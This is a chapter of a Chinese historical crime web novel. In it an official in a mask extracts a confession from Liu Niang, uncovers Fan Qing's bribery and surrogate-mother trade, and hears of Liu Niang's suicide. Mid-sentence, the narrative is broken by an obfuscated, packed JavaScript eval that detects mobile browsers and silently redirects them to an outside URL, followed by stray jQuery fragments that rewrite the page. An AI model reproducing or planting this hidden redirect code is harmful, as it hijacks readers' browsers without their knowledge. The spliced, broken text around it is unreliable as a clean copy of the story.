顺着郑氏的口供,徐律找到了那个孩子。
是个白净可爱的小公子,被养在郊外的一处宅子里,身边安置了几个得力的奴仆,日子过得也算舒坦。
只不过年岁尚小,不知道自己的亲爹亲娘已经入狱,并且九死一生。
徐律让人带走他,他拼命反抗。
“我娘说了,除了她,谁也不能跟着走!”
他口中的娘便是榴娘了,那双眉眼简直是榴娘的翻版。
但徐律做事向来简单粗暴,孩子不听话,就直接抗走,他哭累了,自然就不会再吵再闹。
锦衣卫们搜查了整个院子,甚至连每块田地都翻了,就是没找到什么有用的东西。
据郑氏所说,这个孩子是樊清早些年和榴娘生的,一生下来就被安置在外头,她们俩也只能每个月过来看孩子一次,其他时候就是各忙各的。
榴娘是第一个孕母。她从小家境贫穷,因为脸上长了一块红色胎记,被家里人嫌弃是灾星,经常对其打骂,甚至在她十五岁时,还要把她卖给城西的一个老头儿当小妾。
只不过在成婚前一日,那老头儿就背过身了,她也因此被冠上克夫的恶名。
自此以后,无人敢给她家做媒,榴娘母亲一怒之下将她赶走,任她自生自灭,她对家庭倒也不留恋,一走就再也没回来。
她把自己献给了樊清,自愿当他的外室,连生下的孩子都不能接回去,只能做被人唾弃的私生子,不过为了能让孩子有朝一日进入樊家族谱,堂堂正正以樊家子的身份科考、娶妻和生子,她愿意对樊清言听计从,做这些伤天害理的事情。
最后一次审讯,沈沉英亲自来了。
她本想着全程回避,都由徐律代劳,但思来想去,她都觉得自己要再和这个女人交谈一二。
这次她以男装示人,脸上带着一个十分狰狞的面具,透过面具的孔,观察榴娘的眼睛。
“郑氏已经全部招认了,这件事全程都是樊清在背后操作,你和她都只是樊清的工具,现在东窗事发了,就用你们顶罪。”
榴娘虚弱地半睁着眼,她听着这有些熟悉的声音,自嘲般地冷笑了一下。
“果然……我当初就说应该把这个死婆娘杀了,以绝后患,可……”
“可樊清说,她还有大用。”沈沉英由于带着面具,声音闷闷的,听不出什么情绪。
“他向你承诺过,会让你的孩子以郑氏早夭的孙儿的身份过继到许氏底下,这样孩子来历就正当了,还是嫡出。”
“但你没想到郑氏看不上你,转身就撺掇许氏去找孕母,让别的女人生下孩子,过继给樊清。”
“你在她眼里,连个卑微的贱婢都不如,可贱婢的孩子怎么能占着樊家嫡子的位置呢。”
榴娘无言,因为她恨郑氏,恨默许了这一切的樊清,恨所有算计她孩儿的人!
“可你也并非无动于衷。”沈沉英的语气变得轻快了一些,似乎是看透了人的本性,略显无奈了。
“你没有任由郑氏和樊清这么做,你在郑氏的人给赵阿茧把完脉后,便叫人给她喂下了极寒的避子药,让她这辈子都无法有孕。”
榴娘愣住了,这些声音犹如毒舌吐信般冰冷危险,让她浑身颤栗。
“你……你怎么知道……”只是稍作呆滞了一刻,榴娘就反应过来,“难道也是郑氏说的?”
当然不是,那是她沈沉英自己闻出来的。
那碗汤药里,有浓厚的苦丁茶味,她曾在王若清给娘亲的汤药里闻过,也是自那以后,她便再没有弟弟妹妹出生了。
“现在郑氏把你的孩子供出来了,他还没有享受到樊家子的福,就要随着父亲被流放,后半辈子也就这样了。”
“不可以不可以不可以!”榴娘用尽力气爬向沈沉英,抓着她的衣角,眼里的红血丝几乎遍布了整个眼球。
“樊清没有参与,全都是我做的,和他们樊家没有任何关系!”
沈沉英心下了然,原来樊清确实是用孩子在威胁她。
那这一切就好办了。
“你以为你都认下了,樊清就会保你孩子一世无虞吗?”沈沉英觉得这个女人简直又蠢又可悲的,但她害了那么多无辜的妇女,婴孩,和樊清同样罪无可恕。
“就算樊清认了这个孩子,你觉得许氏会容得下他吗?”
“孩子是樊清的!她身为当家主母,一定会认的!”
榴娘怎么会不知道许氏刻在骨子里的以夫为天,她为了樊清能脱罪,为了樊清能有后,就算外头有十个私生子,只要是留着樊清的血脉,她都能认下。
“你还记得许氏自己的孩子吗?”
“怎么不记得……”榴娘愣住了,她记得那个被养在许家的孩子,就算日后被接回去了,一个瞎子又能翻起什么风浪。
“他死了。”
三个字,冷冰冰的犹如淬了寒毒。
随后,狱里响起了一阵幽怨凄冷,又带着一丝悲凉的笑声。
这次,沈沉英总算是知道,第一次见到榴娘时,为何会感觉到她身上会带着一丝悲悯之感了。
“那个孩子是许氏活着的唯一念想,也是她这些年来为了樊清一直妥协的理由。他死了,你认为许氏会容得下你的孩子吗?”
见榴娘哑口无言,沈沉英凑近了她,用手帮她捋了捋她额边的头发,让那抹红色胎记全部显露出来。
“樊清这次翻不了身了,他的所有罪证都收集齐了,不日就会押送去大理寺。”
“如果你够聪明,本官会想办法让你的孩子不受拖累。”
“但前提是,樊清必死。”
榴娘猛然抬头,她不明白眼前这个人为何非要置樊清于死地,但她说的没错,樊清这次一定要栽跟头的,不管他能否东山再起,她为保稳妥,必须要为自己的孩子另谋出路。
狱里寂静无声,是两个人的独处和沉思。
榴娘看着面具后那对黑漆漆的瞳仁,第一次感受到一种无形的压迫感在逼着自己做出最后的选择。
“忘了提醒你,孩子还未入樊清族谱,就算樊清犯了死罪,都不会被波及到。”
“是搏一搏,麻雀变凤凰,还是脱离樊家,为孩子寻个清白人家普普通通的过活,决定权都在你这个母亲身上。”
此话一出,榴娘瞬间清醒了一些,她没有把握樊清会不会认旧情,抚养这个孩子。毕竟连许氏的孩子他都可以说杀就杀,更何况这个不被承认的私生子呢?
她若是死了,日后樊清会怎么对她的孩子,她也看不到。
“你要发毒誓,一定要保我的孩子无事。否则我做鬼都不会放过你的。”
“我发誓,若我骗你,就叫我最后落得个家破人亡,被折磨惨死的下场。”
榴娘顿了顿,低下头,轻笑了一声,又叹了一口气。
“在南安庙的后院里有个祭台,祭台下面,有一封樊清和上京城黄大人的书信。”
……
上京城胡大人黄永正,是太后的表弟。
也是此次皇上微服私访,要查的重要人员之一。
黄永正这些年靠着黄家,得了个巡抚的官职,在江南一代为非作歹,做着各种乱七八糟的勾当。而前一阵子他因为卖官一事被问责,一度被牵扯出许许多多腌臜事来,却在被锦衣卫捉拿归京的途中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445762|185097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逃跑。
徐律就是那时候被黄永正底下的死卫中伤,跑到了沈沉英家里休息。
“也就是说,这个黄永正就是那个幕后之人?”阿毛站在沈沉英身侧,看着她紧锁的眉头,突然有点怀疑自己是不是多嘴了。
“黄永正是樊清背后的人,但真正的幕后操盘着,恐怕不是他。”徐律叹了口气,虽然腹上的伤口已经好了,但被人暗算了到底心里不爽快,“他应该也是被当刀使的,但是身上的秘密太多了,那个人不会轻易让他落入我们手中。”
再有其他,官家也没有说,他也不能去问。
“这个人暂且不管,先把樊清的罪证都整理清楚,交往大理寺。”沈沉英看过榴娘说的那些书信了,里面写着樊清这些年给黄永正的所有贿赂数额,以及孕母交易的细则。
他还给黄永正推荐过几个年轻姑娘,让郑氏以府上女使的名义带过去给他择选,黄永正玩死过几个,还有的就被送给底下别的官员了。
有了郑氏的证词和票据,以及樊清与黄永正上下勾结贪墨的一系列证据,足以让樊清付出生命的代价了。
回京那日。
樊家所有人都被带走了。
许氏神情麻木,像一个没有生命力的木偶,任人摆弄。
她背着沉重的枷锁,接受着属于她的惩罚。
押解的马车路过澄湖时,她的眼里才有了点变化。
她喃喃自语:“那水冷吗?”
可没有人回答她。
“应该很冷吧,我的闻哥儿。”
“闻哥儿别怕,娘很快就会来陪你,你等等娘吧。”
她那双空洞的眼中毫无情绪,却默默地流淌着泪水。
她忘不了那天在她昏迷时,隔着细微的意识,听到一个清冷的声音。
“他不怕孤独,只怕当一个没人爱的野孩子。”
“掉进湖里的那一刻,或许他都还在想,我要见着娘亲了吗。”
许氏也是从那一刻,彻底变成了行尸走肉,提前在心里宣布了死讯。
沈沉英从马车窗外远远看了许氏一眼,莫名的心沉,索性就把窗合上,看着自己手上的书册。
这些日子卞白虽然不在,但给她布置的任务却一样没落下。
他要沈沉英整理几年来各地修建水利的资料,说是官家有意要修建当年未完成的大运河工程。
可这种大工程,让她整理史册也不过只是知悉一下罢了,怎么可能让她跟着参与,想到这里,沈沉英兴致不高。
阿毛从铺子里买了几个包子,走上马车的时候,递给了沈沉英。
“沈大人,路上舟车劳顿,这些包子你可以饿了吃。”
沈沉英想让他一起上车吃,但阿毛拒绝了。
“我是官家身边的小侍卫,就不和沈大人同行了。”
“那好吧。”沈沉英也没多挽留,笑着咬了口包子,“还是热乎的。”
阿毛很得意,他告诉沈沉英,自己也会做包子,而且做的极好。
“秀秀最喜欢吃我做的包子了,等我再努力努力,得官家赏识,做个像徐大人那样厉害的锦衣卫,我就去求娶她。”
看着阿毛傻憨憨的模样,沈沉英不禁想到自己的哥哥。
自打她离开徐州去上京赴任时,从没有停止过联系沈沉君。
但一封封寄往锦州的书信犹如石沉大海般,都没有回应。
她的心里隐隐担心着,但看徐州沈家似乎也没有什么异常,想来她李代桃僵一事应该是还未暴露。
正当她思考之时,马车外传来了呼喊声。
“榴娘自尽了!榴娘自尽了!”